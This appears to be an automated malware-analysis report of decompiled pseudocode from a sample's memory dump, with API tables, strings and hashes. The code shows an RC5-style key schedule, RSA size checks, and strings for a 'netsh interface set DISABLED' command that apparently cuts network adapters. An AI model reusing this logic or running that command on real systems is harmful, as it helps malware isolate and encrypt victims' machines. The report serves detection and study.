																				_t348 =  *0x17a3b8; // 0x4fadc0
																				__eflags = _t348;
																				if(_t348 != 0) {
																					_t245 =  *(_t348 + 0x18);
																					__eflags = _t245;
																					if(_t245 == 0) {
																						_t178 = _t348 + 0x1c; // 0x4faddc
																						_t245 = _t178;
																					}
																				} else {
																					_t245 = 0x15063e;
																				}
																				E00051DD0(_t325,  &_v160, _t378, _t396, _t245);
																				 *(_t408 + 4) = 0;
																				 *_t408 = 0x13ab78;
																				_t248 = E000DA744(_t325, _t378, __eflags,  &_v108);
																				asm("movups xmm0, [eax]");
																				asm("movups [esi+0x8], xmm0");
																				asm("movups xmm0, [eax+0x10]");
																				asm("movups [esi+0x18], xmm0");
																				asm("movq xmm0, [eax+0x20]");
																				asm("movq [esi+0x28], xmm0");
																				 *((intOrPtr*)(_t408 + 0x30)) =  *((intOrPtr*)(_t248 + 0x28));
																				E00051E90( &_v160);
																				_v44 = _t408;
																				_v24 = 3;
																				E000D974C(__eflags, _t408);
																				_t431 = _t435 + 8;
																				_t253 =  *((intOrPtr*)( *_t408 + 4));
																				__eflags = _t253 - 0x52060;
																				if(_t253 != 0x52060) {
																					 *_t253();
																				} else {
																					asm("lock inc dword [edi]");
																				}
																				 *0x17a400 = _t408;
																			} else {
																				_t408 = _t243;
																			}
																		} else {
																			_t408 =  *( *((intOrPtr*)(_t255 + 8)) + _t396 * 4);
																			goto L70;
																		}
																	}
																}
															}
															_v24 = 0xffffffff;
															E000D7232( &_v48);
															E00056D20(_t325, _v56, _v52, _v52 + 8, _t408);
															 *[fs:0x0] = _v32;
															return _v56;
														} else {
															goto L39;
														}
													}
												}
											} else {
												goto L13;
											}
										}
									}
									goto L82;
								}
								E0010F5C4(_t322, _t327, _t368, _t392);
								goto L35;
							}
						} else {
							L32:
							L0010FD0E(_t402);
							goto L33;
						}
					}
				}
				L82:
			}

0x000938b0
0x000938b0
0x000938b1
0x000938c1
0x000938c7
0x000938cc
0x000938ce
0x000938d8
0x000938de
0x000938eb
0x000938f1
0x000938fd
0x0009390a
0x0009390f
0x00093948
0x0009394a
0x00000000
0x00000000
0x00000000
0x00000000
0x00093911
0x00093911
0x0009391c
0x0009391e
0x00093921
0x00093929
0x00093c71
0x00093c74
0x00093c8c
0x0009392f
0x00093935
0x00093936
0x00093937
0x00093939
0x0009393b
0x00093941
0x00093950
0x00093950
0x00093952
0x00093954
0x00093c5e
0x00093c64
0x00093c66
0x00000000
0x00000000
0x00000000
0x0009395a
0x0009395a
0x00093960
0x0009396f
0x00093979
0x0009397e
0x00093981
0x00093983
0x00000000
0x00000000
0x0009398b
0x00093995
0x0009399f
0x000939a9
0x000939b0
0x000939b9
0x000939c0
0x000939c6
0x000939d0
0x000939d6
0x000939db
0x000939df
0x000939e5
0x000939e7
0x000939e9
0x000939f6
0x000939fd
0x000939ff
0x00093a0c
0x00093a18
0x00093a1f
0x00093a20
0x00093a21
0x00093a22
0x00093a27
0x00093a27
0x00093a2a
0x00093a2e
0x00093a34
0x00093a37
0x00093a68
0x00093a68
0x00093a72
0x00093a7c
0x00093a89
0x00093a90
0x00093a93
0x00093a9e
0x00093aa2
0x00093aaf
0x00093ab4
0x00093ab8
0x00093abb
0x00093ac1
0x00093ac3
0x00093b3f
0x00093b3f
0x00093b4a
0x00093b4e
0x00093b4f
0x00093b54
0x00093b55
0x00093b5a
0x00093b5f
0x00093b70
0x00093b75
0x00093b78
0x00093b7c
0x00093b82
0x00093b84
0x00093b86
0x00093b89
0x00093b91
0x00093b9c
0x00093b89
0x00093b9e
0x00093ba4
0x00093ba9
0x00093bad
0x00093bb3
0x00093bb6
0x00093bed
0x00093bef
0x00093bf6
0x00093bfc
0x00093c06
0x00093c10
0x00093c17
0x00093c1a
0x00093c4d
0x00093c4d
0x00093c50
0x00093c52
0x00000000
0x00093c58
0x00093c58
0x00000000
0x00093c58
0x00093c1c
0x00093c1c
0x00093c22
0x00093c29
0x00093c2b
0x00093c31
0x00093c43
0x00093c43
0x00093c45
0x00093c4a
0x00000000
0x00093c33
0x00093c33
0x00093c36
0x00093c3e
0x00093c41
0x00000000
0x00000000
0x00000000
0x00000000
0x00093c41
0x00093c31
0x00093bb8
0x00093bb8
0x00093bbe
0x00093bc5
0x00093bc7
0x00093bcd
0x00093be3
0x00093be3
0x00093be5
0x00093bea
0x00000000
0x00093bcf
0x00093bcf
0x00093bd2
0x00093bda
0x00093bdd
0x00000000
0x00000000
0x00000000
0x00000000
0x00093bdd
0x00093bcd
0x00093ac5
0x00093acb
0x00093acc
0x00093adc
0x00093ae2
0x00093ae9
0x00093af6
0x00093af8
0x00093afb
0x00093b01
0x00093b17
0x00093b17
0x00093b19
0x00093b1e
0x00093b21
0x00093b2b
0x00093b35
0x00000000
0x00093b03
0x00093b03
0x00093b06
0x00093b0e
0x00093b11
0x00000000
0x00000000
0x00000000
0x00000000
0x00093b11
0x00093b01
0x00093a39
0x00093a39
0x00093a3f
0x00093a40
0x00093a42
0x00093a48
0x00093a5e
0x00093a5e
0x00093a60
0x00093a65
0x00000000
0x00093a4a
0x00093a4a
0x00093a4d
0x00093a55
0x00093a58
0x00093c92
0x00093c92
0x00093c97
0x00093c98
0x00093c99
0x00093c9a
0x00093c9b
0x00093c9c
0x00093c9d
0x00093c9e
0x00093c9f
0x00093ca0
0x00093ca1
0x00093ca3
0x00093ca5
0x00093cb0
0x00093cb7
0x00093cbc
0x00093cbe
0x00093cc1
0x00093cc2
0x00093cc3
0x00093cc4
0x00093cc8
0x00093cce
0x00093cd4
0x00093cd6
0x00093cdc
0x00093ce5
0x00093ceb
0x00093cf1
0x00093cf7
0x00093cfd
0x00093d03
0x00093d06
0x00093d0c
0x00093d11
0x00093d16
0x00093d25
0x00093d29
0x00093d30
0x00093d3d
0x00093d41
0x00093d46
0x00093d52
0x00093d58
0x00093d5c
0x00093d5f
0x00093d62
0x00093d63
0x00093d64
0x00093d6c
0x00093d6d
0x00093d72
0x00093d75
0x00093d78
0x00093d7b
0x00093daf
0x00093daf
0x00093db4
0x00093dbb
0x00093dc2
0x00093dc6
0x00093dc9
0x00093dfd
0x00093dfd
0x00093e02
0x00093e09
0x00093e10
0x00093e14
0x00093e17
0x00093e47
0x00093e47
0x00093e4c
0x00093e53
0x00093e5a
0x00093e5e
0x00093e61
0x00093e91
0x00093e96
0x00093ea4
0x00093eae
0x00093e63
0x00093e63
0x00093e66
0x00093e6d
0x00093e6f
0x00093e75
0x00093e87
0x00093e87
0x00093e89
0x00000000
0x00093e77
0x00093e77
0x00093e7a
0x00093e82
0x00093e85
0x00000000
0x00000000
0x00000000
0x00000000
0x00093e85
0x00093e75
0x00093e19
0x00093e19
0x00093e1c
0x00093e23
0x00093e25
0x00093e2b
0x00093e3d
0x00093e3d
0x00093e3f
0x00093e44
0x00000000
0x00093e2d
0x00093e2d
0x00093e30
0x00093e38
0x00093e3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00093e3b
0x00093e2b
0x00093dcb
0x00093dcb
0x00093dce
0x00093dd5
0x00093dd7
0x00093ddd
0x00093df3
0x00093df3
0x00093df5
0x00093dfa
0x00000000
0x00093ddf
0x00093ddf
0x00093de2
0x00093dea
0x00093ded
0x00000000
0x00000000
0x00000000
0x00000000
0x00093ded
0x00093ddd
0x00093d7d
0x00093d7d
0x00093d80
0x00093d87
0x00093d89
0x00093d8f
0x00093da5
0x00093da5
0x00093da7
0x00093dac
0x00000000
0x00093d91
0x00093d91
0x00093d94
0x00093d9c
0x00093d9f
0x00093eaf
0x00093eb4
0x00093eb4
0x00093eb9
0x00093eb9
0x00093ebe
0x00093ebe
0x00093ec3
0x00093ec4
0x00093ec5
0x00093ec6
0x00093ec7
0x00093ec8
0x00093ec9
0x00093eca
0x00093ecb
0x00093ecc
0x00093ecd
0x00093ece
0x00093ecf
0x00093ed0
0x00093ed1
0x00093ed2
0x00093ed3
0x00093ed4
0x00093ed5
0x00093ed6
0x00093ed7
0x00093ed8
0x00093ed9
0x00093eda
0x00093edb
0x00093edc
0x00093edd
0x00093ede
0x00093edf
0x00093ee0
0x00093ee1
0x00093ee9
0x00093eec
0x00093ef0
0x00093ef6
0x00093ef8
0x00093f03
0x00093f04
0x00093f05
0x00093f0b
0x00093f0c
0x00093f0d
0x00093f14
0x00093f18
0x00093f1e
0x00093f21
0x00093f24
0x00093f29
0x00093f2b
0x00093f2d
0x00093f2d
0x00093f30
0x00093f35
0x00093f3c
0x00093f46
0x00093f4b
0x00093f4e
0x00093f4e
0x00093f5a
0x00093f5f
0x00093f66
0x00093f6c
0x00093f71
0x00093f74
0x00093f76
0x00093f7c
0x00093f81
0x00093f87
0x00093f89
0x00093f8e
0x00093f8e
0x00093f8f
0x00093f94
0x00093f94
0x00093f9c
0x00093fa1
0x00093fa1
0x00093fa7
0x00093fad
0x00093fb0
0x00093fc2
0x00093fc2
0x00000000
0x00093fb2
0x00093fb5
0x00093fb8
0x00093fba
0x00093fc4
0x00093fc4
0x00093fc8
0x00093fda
0x00093fda
0x00093fdc
0x00000000
0x00000000
0x00093fca
0x00093fca
0x00093fcf
0x00093fd2
0x00093fe2
0x00093fe2
0x00093fe5
0x00093fe7
0x00093ff0
0x00093ff7
0x00093ff9
0x00093ffc
0x00093fff
0x00094003
0x00094009
0x0009400b
0x00094014
0x00094017
0x00094019
0x0009401b
0x0009401b
0x0009401b
0x0009400d
0x0009400d
0x0009400d
0x00094025
0x0009402d
0x00094037
0x0009403e
0x0009404c
0x0009404f
0x00094053
0x00094057
0x0009405b
0x00094060
0x00094068
0x0009406b
0x00094070
0x00094074
0x00094078
0x0009407f
0x00094082
0x00094085
0x0009408a
0x000940d0
0x0009408c
0x0009408c
0x0009408c
0x0009408f
0x00093fe9
0x00093fe9
0x00093fe9
0x00093fd4
0x00093fd7
0x00000000
0x00093fd7
0x00093fd2
0x00093fc8
0x00093fba
0x00094098
0x0009409f
0x000940af
0x000940bd
0x000940cd
0x00000000
0x00000000
0x00000000
0x00093d9f
0x00093d8f
0x00000000
0x00000000
0x00000000
0x00093a58
0x00093a48
0x00000000
0x00093a37
0x00093c8d
0x00000000
0x00093c8d
0x00093943
0x00093c68
0x00093c69
0x00000000
0x00093c6e
0x00093941
0x00093929
0x00000000

APIs

GetAdaptersAddresses.IPHLPAPI(00000000,0000001C,00000000,?,?), ref: 0009390A
GetAdaptersAddresses.IPHLPAPI(00000000,0000001C,00000000,00000000,00000120), ref: 0009393D

Part of subcall function 00057BC0: GetEnvironmentStringsW.KERNEL32(D529E887,?), ref: 0005798C
Part of subcall function 00057BC0: GetEnvironmentStringsW.KERNEL32 ref: 00057C47
Part of subcall function 00057BC0: std::locale::_Init.LIBCPMT ref: 00057F0A
Part of subcall function 00057BC0: SHGetFileInfoW.SHELL32(?,00000000,00000000,00000000,00002000), ref: 00058101

Part of subcall function 000565E0: WaitForSingleObject.KERNEL32 ref: 00056644
Part of subcall function 000565E0: GetExitCodeProcess.KERNELBASE(?,?), ref: 0005666F
Part of subcall function 000565E0: GetLastError.KERNEL32(?,?,000000FF), ref: 00056696
Part of subcall function 000565E0: CloseHandle.KERNEL32 ref: 000566A0
Part of subcall function 000565E0: __CxxThrowException@8.LIBVCRUNTIME ref: 000566EC

Part of subcall function 000564C0: TerminateProcess.KERNEL32(00000040,00000001,?,?,?,00000000,00000000,?,?,00062995), ref: 00056533
Part of subcall function 000564C0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00062995), ref: 0005655A
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 00056568
Part of subcall function 000564C0: CloseHandle.KERNEL32(00000040), ref: 000565B7
Part of subcall function 000564C0: CloseHandle.KERNEL32(?), ref: 000565BC

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0010F5C4: _abort.LIBCMT ref: 0010F5FA
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F62E
Part of subcall function 0010F5C4: _free.LIBCMT ref: 0010F654

Strings

netsh.exe, xrefs: 000939BB
set, xrefs: 00093B5A
DISABLED, xrefs: 00093B4F
interface, xrefs: 00093B55, 00093B5F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseHandle$AdaptersAddressesEnvironmentErrorLastProcessStrings_free$CodeException@8ExitFeatureFileInfoInitObjectPresentProcessorSingleTerminateThrowWait___raise_securityfailure_abortstd::locale::_
String ID: DISABLED$interface$netsh.exe$set
API String ID: 2788966704-691807078
Opcode ID: 5e42ca9e00dabdb9bd6f1948ceb349aeb3a9a2c3a1bb2f0d2e81ffcabd965b3e
Instruction ID: a1de95d375a21abfb14ea4dfa2fa120a92f0fc8ee2facb68329b74577e0e5465
Opcode Fuzzy Hash: 5e42ca9e00dabdb9bd6f1948ceb349aeb3a9a2c3a1bb2f0d2e81ffcabd965b3e
Instruction Fuzzy Hash: FFA1AE71A002289BEF24DB24CC85BDEB7B4AF45704F5041D8E908BB292DB75AF84DF91

Uniqueness

Uniqueness Score: 100.00%

Function 000D0430, Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 255
UNIQUE

Download Yara Rule

C-Code - Quality: 74%

			E000D0430(void* __ebx, signed int __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				char _v16;
				signed int _v20;
				void* _v24;
				signed int _v28;
				intOrPtr _v32;
				void* _v36;
				char _v44;
				char _v68;
				char _v108;
				signed int _v112;
				intOrPtr _v116;
				char _v120;
				intOrPtr _v124;
				signed int _v128;
				intOrPtr _v152;
				intOrPtr _v164;
				char _v172;
				intOrPtr* _v176;
				void* __edi;
				signed int _t112;
				signed int _t113;
				signed int _t120;
				signed int _t133;
				signed int _t134;
				signed int _t144;
				signed int _t146;
				intOrPtr _t156;
				intOrPtr _t161;
				void* _t170;
				signed int _t176;
				signed int _t180;
				intOrPtr* _t183;
				intOrPtr _t187;
				void* _t194;
				intOrPtr* _t198;
				signed int _t206;
				signed int _t208;
				signed int _t210;
				intOrPtr _t213;
				intOrPtr* _t214;
				void* _t216;
				signed int _t224;
				signed int _t227;
				signed int _t228;
				intOrPtr _t229;
				signed int _t231;
				signed int _t234;
				void* _t236;
				signed int _t237;

				_push(0xffffffff);
				_push(0x136122);
				_push( *[fs:0x0]);
				_t237 = _t236 - 0x70;
				_t112 =  *0x16f170; // 0xd529e887
				_t113 = _t112 ^ _t234;
				_v20 = _t113;
				_push(_t113);
				 *[fs:0x0] =  &_v16;
				_t176 = __ecx;
				_v128 = __ecx;
				_t205 =  &_v120;
				_v116 = _a4;
				_v112 = 0;
				asm("sbb esi, esi");
				_t224 =  ~__ecx & __ecx + 0x00000004;
				_push( &_v120);
				_push(0x174650);
				_push("Rounds");
				if( *((intOrPtr*)( *((intOrPtr*)( *_a12 + 4))))() == 0) {
					goto L4;
				} else {
					_t213 = _v120;
					if(_t213 < 1) {
						__eflags = _t224;
						if(__eflags == 0) {
							_t170 = E00064B00( &_v44, "VariableRounds");
							_v8 = 1;
							_v112 = 2;
						} else {
							_t170 =  *((intOrPtr*)( *_t224 + 8))( &_v68);
							_v8 = 0;
							_v112 = 1;
						}
						E000D0080(_t176,  &_v108, _t205, __eflags, _t170, _t213);
						E001047B7( &_v108, 0x169134);
						goto L16;
					} else {
						L4:
						 *((intOrPtr*)(_t176 + 0xc)) = 0x14;
						_t120 = 0x2c;
						_t180 =  *(_t176 + 0x18);
						_t205 =  *(_t176 + 0x1c);
						_v112 = 0x2c;
						if(_t180 != 0x2c) {
							memset(_t205, 0, _t180 << 2);
							L000B3E40(_t205);
							_t237 = _t237 + 0x10;
							_t205 = E00093200(_t205, _t205 + _t180, _v112, 0);
							_t120 = _v112;
						}
						_t213 = _a8;
						 *(_t176 + 0x18) = _t120;
						 *(_t176 + 0x1c) = _t205;
						 *((intOrPtr*)(_t176 + 0x14)) = 0x3fffffff;
						_v32 = 0x3fffffff;
						_t227 =  <  ? 1 : _t213 + 3 >> 2;
						_v112 = _t227;
						_v28 = _t227;
						_v24 = E00093200(_t205, _t213, _t227, 0);
						_t228 = _t227 << 2;
						_v8 = 4;
						E000B0290(_t122, _t228, _v116, _t213);
						_t224 = _t228 - _t213;
						E001053E0(_t213, _v24 + _t213, 0, _t224);
						_t237 = _t237 + 0x1c;
						if(_t213 > 0xfffffffc) {
							L16:
							E00064B00( &_v68, "RoundUpToMultipleOf: integer overflow");
							_v8 = 5;
							_t183 =  &_v108;
							E00059080( &_v68);
							E001047B7( &_v108, 0x16c9bc);
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t234);
							_push(0xffffffff);
							_push(0x134438);
							_push( *[fs:0x0]);
							_push(_t183);
							_push(_t224);
							_push(_t213);
							_t133 =  *0x16f170; // 0xd529e887
							_t134 = _t133 ^ _t237;
							__eflags = _t134;
							_push(_t134);
							 *[fs:0x0] =  &_v172;
							_t214 = _t183;
							_v176 = _t214;
							_t229 = _v152;
							asm("xorps xmm0, xmm0");
							 *_t214 = 0x13a468;
							asm("movq [eax], xmm0");
							E001041DE(_t229 + 4, _t214 + 4);
							 *_t214 = 0x13b7a4;
							 *((intOrPtr*)(_t214 + 0xc)) =  *((intOrPtr*)(_t229 + 0xc));
							_v164 = 0;
							E00064B40(_t214 + 0x10, _t205, _t229 + 0x10);
							 *_t214 = 0x13ee84;
							 *[fs:0x0] = _v172;
							return _t214;
						} else {
							_t206 = 1;
							 *( *(_t176 + 0x1c)) = 0xb7e15163;
							_t144 =  *(_t176 + 0x18);
							if(_t144 > 1) {
								do {
									_t198 =  *(_t176 + 0x1c) + _t206 * 4;
									_t206 = _t206 + 1;
									 *_t198 =  *((intOrPtr*)(_t198 - 4)) - 0x61c88647;
									_t144 =  *(_t176 + 0x18);
								} while (_t206 < _t144);
							}
							_t231 = _v112;
							_t216 = _v24;
							_t145 =  <  ? _t231 : _t144;
							_v120 = 0;
							_v116 = 0;
							_t187 = ( <  ? _t231 : _t144) + ( <  ? _t231 : _t144) * 2;
							_t146 = 0;
							_v124 = _t187;
							_v112 = 0;
							if(_t187 != 0) {
								do {
									_t194 =  *(_t176 + 0x1c);
									_t208 = _t146 %  *(_t176 + 0x18);
									_t176 = _v128;
									_t156 =  *((intOrPtr*)(_t194 + _t208 * 4)) + _v116 + _v120;
									asm("rol eax, 0x3");
									 *((intOrPtr*)(_t194 + _t208 * 4)) = _t156;
									_v120 = _t156;
									_t210 = _v112 % _t231;
									_t161 =  *((intOrPtr*)(_t216 + _t210 * 4)) + _v116 + _v120;
									asm("rol eax, cl");
									_v116 = _t161;
									 *((intOrPtr*)(_t216 + _t210 * 4)) = _t161;
									_t146 = _v112 + 1;
									_v112 = _t146;
								} while (_t146 < _v124);
							}
							_v8 = 6;
							_t232 =  >  ? 0x3fffffff : _t231;
							_t188 =  >  ? 0x3fffffff : _t231;
							memset(_t216, 0, ( >  ? 0x3fffffff : _t231) << 2);
							L000B3E40(_v24);
							 *[fs:0x0] = _v16;
							return E000ECED8(_v20 ^ _t234);
						}
					}
				}
			}

0x000d0433
0x000d0435
0x000d0440
0x000d0441
0x000d0444
0x000d0449
0x000d044b
0x000d0451
0x000d0455
0x000d045b
0x000d045d
0x000d0463
0x000d046b
0x000d0473
0x000d047a
0x000d047c
0x000d0480
0x000d0481
0x000d0486
0x000d0492
0x00000000
0x000d0494
0x000d0494
0x000d049a
0x000d062e
0x000d0630
0x000d0655
0x000d065a
0x000d0661
0x000d0632
0x000d063a
0x000d063d
0x000d0644
0x000d0644
0x000d066d
0x000d067b
0x00000000
0x000d04a0
0x000d04a7
0x000d04a7
0x000d04aa
0x000d04b1
0x000d04b4
0x000d04b7
0x000d04bc
0x000d04c2
0x000d04c5
0x000d04ca
0x000d04da
0x000d04dc
0x000d04dc
0x000d04df
0x000d04e5
0x000d04ef
0x000d04f5
0x000d0501
0x000d0508
0x000d050c
0x000d050f
0x000d0517
0x000d051e
0x000d0523
0x000d052a
0x000d0532
0x000d053a
0x000d053f
0x000d0545
0x000d0680
0x000d0688
0x000d0690
0x000d0695
0x000d0698
0x000d06a6
0x000d06ab
0x000d06ac
0x000d06ad
0x000d06ae
0x000d06af
0x000d06b0
0x000d06b3
0x000d06b5
0x000d06c0
0x000d06c1
0x000d06c2
0x000d06c3
0x000d06c4
0x000d06c9
0x000d06c9
0x000d06cb
0x000d06cf
0x000d06d5
0x000d06d7
0x000d06da
0x000d06e0
0x000d06e3
0x000d06ea
0x000d06f2
0x000d06fa
0x000d0706
0x000d070d
0x000d0714
0x000d0719
0x000d0724
0x000d0731
0x000d054b
0x000d054e
0x000d0553
0x000d0559
0x000d055e
0x000d0560
0x000d0563
0x000d0566
0x000d056f
0x000d0571
0x000d0574
0x000d0560
0x000d0578
0x000d057d
0x000d0580
0x000d0583
0x000d058a
0x000d0591
0x000d0594
0x000d0596
0x000d0599
0x000d059e
0x000d05a0
0x000d05a2
0x000d05a5
0x000d05a8
0x000d05b1
0x000d05b4
0x000d05b7
0x000d05bc
0x000d05c2
0x000d05cd
0x000d05d5
0x000d05d7
0x000d05da
0x000d05e0
0x000d05e1
0x000d05e4
0x000d05a0
0x000d05ef
0x000d05fb
0x000d0600
0x000d0602
0x000d0608
0x000d0613
0x000d062b
0x000d062b
0x000d0545
0x000d049a

APIs

Part of subcall function 00093200: __CxxThrowException@8.LIBVCRUNTIME ref: 00093286

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

__CxxThrowException@8.LIBVCRUNTIME ref: 000D067B
__CxxThrowException@8.LIBVCRUNTIME ref: 000D06A6

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,D529E887,0016AD84,D529E887), ref: 00104817

___std_exception_copy.LIBVCRUNTIME ref: 000D06F2

Strings

RoundUpToMultipleOf: integer overflow, xrefs: 000D0680
Rounds, xrefs: 000D0486
VariableRounds, xrefs: 000D064D

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure___std_exception_copy
String ID: RoundUpToMultipleOf: integer overflow$Rounds$VariableRounds
API String ID: 106381449-1802619191
Opcode ID: 99cc0b946b82b27db8dcf4cd07dd4d75269f0613030c1adfb40879e95247ce4e
Instruction ID: 5c66bb9e8c8a62d5bdec2f53175072b34e7749a7755296a56bf294d0d432368b
Opcode Fuzzy Hash: 99cc0b946b82b27db8dcf4cd07dd4d75269f0613030c1adfb40879e95247ce4e
Instruction Fuzzy Hash: D1A12DB1D002199FCB14DFA9D881B9EB7F9EF49710F10822AE815EB381E775A915CF90

Uniqueness

Uniqueness Score: 100.00%

Function 000C6C00, Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 240
UNIQUE

Download Yara Rule

C-Code - Quality: 75%

			E000C6C00(void* __ebx, intOrPtr* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a32) {
				char _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v44;
				char _v68;
				char _v92;
				char _v108;
				char _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				char _v148;
				char _v172;
				char _v196;
				char _v220;
				char _v244;
				char _v268;
				void* _v272;
				intOrPtr _v276;
				intOrPtr* _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				signed int _v296;
				intOrPtr _v300;
				void* _v308;
				char _v312;
				char _v316;
				intOrPtr _v320;
				char _v324;
				intOrPtr _v328;
				void* _v332;
				intOrPtr _v336;
				intOrPtr _v340;
				char _v348;
				char _v360;
				signed int _v364;
				intOrPtr _v476;
				intOrPtr _v480;
				signed int _v484;
				signed int _t140;
				signed int _t141;
				void* _t149;
				signed int _t151;
				intOrPtr* _t152;
				void* _t153;
				intOrPtr* _t156;
				void* _t159;
				void* _t177;
				void* _t185;
				void* _t187;
				void* _t189;
				void* _t191;
				void* _t193;
				void* _t195;
				signed int _t200;
				signed int _t201;
				void* _t226;
				void* _t228;
				signed int _t234;
				intOrPtr _t236;
				intOrPtr _t263;
				signed int _t286;
				intOrPtr _t287;
				signed int _t288;
				intOrPtr _t292;
				void* _t302;
				intOrPtr _t303;
				intOrPtr _t304;
				intOrPtr* _t307;
				void* _t311;
				void* _t312;
				signed int _t314;
				signed int _t316;
				void* _t318;
				void* _t319;
				signed int _t327;

				_t232 = __ebx;
				_push(0xffffffff);
				_push(0x135b4d);
				_push( *[fs:0x0]);
				_t319 = _t318 - 0x14c;
				_t140 =  *0x16f170; // 0xd529e887
				_t141 = _t140 ^ _t316;
				_v20 = _t141;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t141);
				 *[fs:0x0] =  &_v16;
				_t307 = __ecx;
				_v280 = __ecx;
				_t292 = _a12;
				_v276 = _a4;
				_v292 = _a8;
				_v300 = _a16;
				_v284 = _a20;
				_v288 = _t292;
				if(_t292 <=  *((intOrPtr*)( *__ecx + 0x14))()) {
					_t149 = E00092DA0(__ecx);
					_v32 = 0xffffffff;
					_t151 = _t149 + 7 >> 3;
					_v296 = _t151;
					_v28 = _t151;
					__eflags = _t151;
					if(__eflags != 0) {
						_t151 = E000B3DE0(_t292, __eflags, _t151);
						_t319 = _t319 + 4;
					}
					_v272 = _t151;
					_v24 = _t151;
					_v8 = 0xb;
					_t152 =  *((intOrPtr*)( *((intOrPtr*)(_t307 + 8)) + 0xc))();
					_t153 = E00092DA0(_v280);
					 *((intOrPtr*)( *((intOrPtr*)( *_t152 + 0xc))))(_v276, _v292, _v288, _v272, _t153, _v284);
					_t156 =  *((intOrPtr*)( *((intOrPtr*)(_t307 + 8)) + 8))();
					_t234 = _v296;
					_v8 = 0xc;
					_t159 =  *((intOrPtr*)( *((intOrPtr*)( *_t156 + 0x14))))( &_v324, _v276, E000B57F0(_t234,  &_v348,  *((intOrPtr*)(_t307 + 8)), _v272, _t234, 0, 1));
					_v8 = 0xd;
					E000B9F80(_t159,  *_v280, _t159, __eflags, _v300,  *((intOrPtr*)( *_v280 + 0x10))(), 0);
					__eflags = _v316 - _v312;
					_t311 = _v308;
					_t251 =  >=  ?  &_v312 :  &_v316;
					_v8 = 0xe;
					_push(_t311);
					_t286 =  *( >=  ?  &_v312 :  &_v316);
					memset(_t311, 0, _t286 << 2);
					__eflags = _t286;
					if(_t286 == 0) {
						L000B3E40();
					} else {
						E000B3BB0();
					}
					_t287 = _v336;
					__eflags = _v340 - _t287;
					_t312 = _v332;
					_t288 =  <  ? _v340 : _t287;
					_v8 = 0xf;
					memset(_t312, 0, _t288 << 2);
					_push(_t312);
					__eflags = _t288;
					if(_t288 == 0) {
						L000B3E40();
					} else {
						E000B3BB0();
					}
					_v8 = 0x10;
					memset(_v272, 0, _t234 << 0);
					L000B3E40(_v272);
					 *[fs:0x0] = _v16;
					__eflags = _v20 ^ _t316;
					return E000ECED8(_v20 ^ _t316);
				} else {
					_t177 =  *((intOrPtr*)( *__ecx + 0x14))();
					_t331 = _t177 - 1;
					if(_t177 < 1) {
						_t282 =  &_v44;
						_push( &_v44);
						_t226 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)) + 8))();
						_v8 = 0;
						_t228 = E0006CBA0( &_v68, _t226, ": this key is too short to encrypt any messages");
						_t319 = _t319 + 0xc;
						_v8 = 1;
						E00059080(_t228);
						E001047B7( &_v108, 0x16c9bc);
					}
					_t236 = E000AD820(_t232, _t282,  &_v68,  *((intOrPtr*)( *_t307 + 0x14))(), 0xa);
					_v8 = 2;
					_t302 = E000AD820(_t236, _t282,  &_v44, _t292, 0xa);
					_t263 =  *((intOrPtr*)(_t307 + 4));
					_v8 = 3;
					_t290 =  *((intOrPtr*)(_t263 + 8));
					_t185 =  *((intOrPtr*)( *((intOrPtr*)(_t263 + 8))))( &_v172);
					_v8 = 4;
					_t187 = E0006CBA0( &_v196, _t185, ": message length of ");
					_v8 = 5;
					_t189 = E00093360( &_v220, _t187, _t302);
					_v8 = 6;
					_t191 = E0006CBA0( &_v244, _t189, " exceeds the maximum of ");
					_v8 = 7;
					_t193 = E00093360( &_v268, _t191, _t236);
					_v8 = 8;
					_t195 = E0006CBA0( &_v92, _t193, " for this public key");
					_t327 = _t319 + 0x54;
					_v8 = 9;
					E00059080(_t195);
					E001047B7( &_v148, 0x16c9bc);
					asm("int3");
					_push(_t316);
					_t317 = _t327;
					_push(0xffffffff);
					_push(0x135bac);
					_push( *[fs:0x0]);
